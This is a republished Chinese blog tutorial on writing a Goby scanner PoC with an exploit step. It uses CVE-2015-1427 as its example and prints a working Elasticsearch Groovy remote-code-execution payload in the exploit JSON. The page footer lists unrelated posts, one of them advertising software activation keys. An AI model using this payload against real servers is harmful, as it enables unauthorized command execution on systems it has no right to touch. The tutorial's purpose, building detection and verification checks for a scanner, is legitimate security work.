goby工具

goby工具前言 Goby 已经上了某榜 滑稽 的 top10 了 足以证明 Goby 的实用性 众所周知 Goby 还分为内测版 超级内测版 红队专版等等 其中最强大的莫过于红队专版 但红队版的获取是严格限制的 当然也是有获取方法 这里分享如何通过编写 PoC 获取红队专版 0x001 准备环境 Goby 为 PoC 编写提交测试方便发布了 姑且叫 PoC 版 PoC 版主要功能为登录后 可以在线提交 PoC 无需再提交到邮箱 然后还有两个连接 一个是 Goby 漏洞编写指南 https github com goby

在这里插入图片描述
前言: Goby已经上了某榜(滑稽)的top10了,足以证明Goby的实用性,众所周知Goby还分为内测版、超级内测版、红队专版等等,其中最强大的莫过于红队专版,但红队版的获取是严格限制的,当然也是有获取方法,这里分享如何通过编写 PoC 获取红队专版。

0x001 准备环境

Goby为PoC编写提交测试方便发布了…姑且叫PoC版。PoC版主要功能为登录后,可以在线提交 PoC,无需再提交到邮箱。

在这里插入图片描述
然后还有两个连接,一个是《Goby漏洞编写指南》:

https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide

还有《Goby已录漏洞列表》防止PoC撞车:

https://shimo.im/sheets/hcoIpikMzpsVKgaC/aojnO/

0x002 第一个 Goby 的 PoC

2.1 简单的 PoC 制作

实际上主要用到的功能在这里:

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
上图就能看到自定义PoC的界面样子了,具体填写的信息和填写标准参考上述的《Goby漏洞编写指南》,里边有命名规则等详细解释和参考,然后就是Requests的Response处理,Goby提供了“测试”功能可直接通过图形化界面自定义自己的Requests。






在这里插入图片描述
这里以CVE-2015-1427为例,再完整的RCE中一共需要发送两次Requests。

在这里插入图片描述
在这里插入图片描述
然后Goby的PoC编辑界面提供了可选的单个或多个Requests,也提供了AND和OR可选的发包逻辑,方便发送多个Requests的自定义




在这里插入图片描述
之后的“响应测试”可对Response进行判断可选有返回状态码,Header和Body,大家按照自己需求点一点即可。

在这里插入图片描述
CVE-2015-1427需要两个Requests,再来一个即可,这里需要一个RCE返回结果的判断,对于轮子达人来说点一点就好制作很方便。

在这里插入图片描述
到这里两次Requests好了,最终的RCE判断也好了剩下就是测试PoC可用性了,上图所示右上角提供了“单ip扫描”直接测试。

在这里插入图片描述
在资产扫描完成的界面,输入query点击放大镜可以进行资产匹配,用来确定自己写的query可以正确匹配。

在这里插入图片描述

但是仅有一个存在漏洞和不存在漏洞的结果提示,这个查询界面并没有显示Response,所有如果怀疑自己的PoC有问题还需要自己抓包去看,而且多次Requests时仅显示第一个Requests(所以建议该功能有待完善),我再测试PoC时无奈一直在Wireshark抓包看的,比较麻烦。

再去扫描中测试一番,这里每次对PoC进行修改之后都需要重启Goby(点左下角的重启也行)。

在这里插入图片描述

2.2 不太简单的PoC中的Exp

在这里插入图片描述

"ExpParams": [ { 
    "name": "cmd", "type": "input", "value": "whoami" } ]  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

不解释上述json了直接感受一下效果:

在这里插入图片描述

现在为止GUI中已经开启Exp了,但实际还没有“验证”功能,需要再回到“编辑器”中编写“验证功能”,找到json中的ExploitSteps默认值为null,继续以CVE-2015-1427为例需要两次Requests修改为:

"ExploitSteps": [ "AND", { 
    "Request": { 
    "method": "POST", "uri": "/website/blog/", "follow_redirect": true, "header": { 
    "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Accept-Language": "en", "Content-Type": "application/x-www-form-urlencoded" }, "data_type": "text", "data": "{ \"name\": \"cve-2015-1427\" }" }, "ResponseTest": { 
    "type": "group", "operation": "AND", "checks": [ { 
    "type": "item", "variable": "$code", "operation": "==", "value": "201", "bz": "" } ] }, "SetVariable": [ "output|lastbody" ] }, { 
    "Request": { 
    "method": "POST", "uri": "/_search?pretty", "follow_redirect": true, "header": { 
    "Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Accept-Language": "en", "Content-Type": "application/text" }, "data_type": "text", "data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{ 
   { 
   {cmd}}}\\\").getText()\"}}}" }, "ResponseTest": { 
    "type": "group", "operation": "AND", "checks": [ { 
    "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { 
    "type": "item", "variable": "$body", "operation": "contains", "value": "460f7ccb583e25e09c0fe100a2c9e90d", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]" ] } ]  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74

可以看到上述json中 Requests 和PoC中的ScanSteps的Requests 是一致的,就不难理解是同样的发包,只不过一个在ScanSteps一个是ExploitSteps,现在应该也就大概理解这个json的大致功能了,上边看着乱简化一下:

"ExploitSteps": [ "AND", { 
    "Request": { 
   xxxxxx}, "ResponseTest": { 
   xxxxxx}, "SetVariable": [xxxxxx] }, { 
    "Request": { 
   xxxxxx}, "ResponseTest": { 
   xxxxxx}, "SetVariable": [xxxxxx] } ]  
 
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
"SetVariable": [ "output|lastbody" ]  
 
  • 1
  • 2
  • 3

看起来比较凌乱,不过SetVariable中也有过滤可用,例如regex去正则。

"SetVariable": [ "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]" ]  
 
  • 1
  • 2
  • 3

在这里插入图片描述

到这里一个带Exp的PoC就制作好了,如果你觉得PoC逻辑编写没为题但又怎么都不成功就只能反复测试反复抓包了,找你的wireshark好帮手,慢慢测慢慢排,最终完整的PoC一定出的来。

上述的PoC完整例子在:https://github.com/zhzyker/Goby-PoC


0x003 总结

如果表哥/表姐也想把自己上交给社区(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写等文章均可)图片,欢迎投稿到我们公众号,超级内测版等着你们~~~

文章来自Goby社区成员:zhzyker,转载请注明出处。

下载Goby内测版,请关注公众号:Gobysec

下载Goby正式版,请访问官网:http://gobies.org

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/199532.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月20日 下午12:47
下一篇 2026年3月20日 下午12:47


相关推荐

  • Java中System.setProperty()用法

    Java中System.setProperty()用法/* *设置指定键对值的系统属性 *setProperty(Stringprop,Stringvalue); *  *参数: *prop-系统属性的名称。 *value-系统属性的值。   *  *返回: *系统属性以前的值,如果没有以前的值,则返回null。 *  *抛出:   *SecurityExceptio

    2022年7月12日
    78
  • navicat 15 for mysql激活密钥 3月最新注册码

    navicat 15 for mysql激活密钥 3月最新注册码,https://javaforall.net/100143.html。详细ieda激活码不妨到全栈程序员必看教程网一起来了解一下吧!

    2022年3月15日
    548
  • maven打包加时间戳[通俗易懂]

    maven打包加时间戳[通俗易懂]maven打包加时间戳方法总结基于Maven的项目,发布时需要打包,如tar.gz。web项目打成war格式包。每次打包时希望自己加上时间戳,假如我的项目名是myproject,默认打包后名为myproject.war。而我希望的名字为myproject-1.0.0-20160217。方便以后对包进行查找与管理,如何实现这种效果呢?

    2022年5月7日
    62
  • 【vue】 less和sass的区别

    【vue】 less和sass的区别less 和 sass 都是 css 的一种预处理器 转化成通俗易懂的话来说就是 用一种专门的编程语言 进行 Web 页面样式设计 再通过编译器转化为正常的 CSS 文件 以供项目使用 sass 和 less 的区别 1 Less 环境较 Sass 简单 2 Less 使用较 Sass 简单 3 从功能出发 Sass 较 Less 略强大一些 4 Less 与 Sass 处理机制不一样 前者是通过客户端处理的 后者是通过服务端处理 相比较之下前者解析会比后者慢一点 关于变量在 Less 和 Sass 中的唯一区别就是 Less 用 Sass 用

    2026年3月17日
    2
  • iPhone手机屏幕尺寸

    iPhone手机屏幕尺寸

    2022年5月14日
    44
  • python之调用科大讯飞的在线语音识别

    python之调用科大讯飞的在线语音识别

    2026年3月14日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号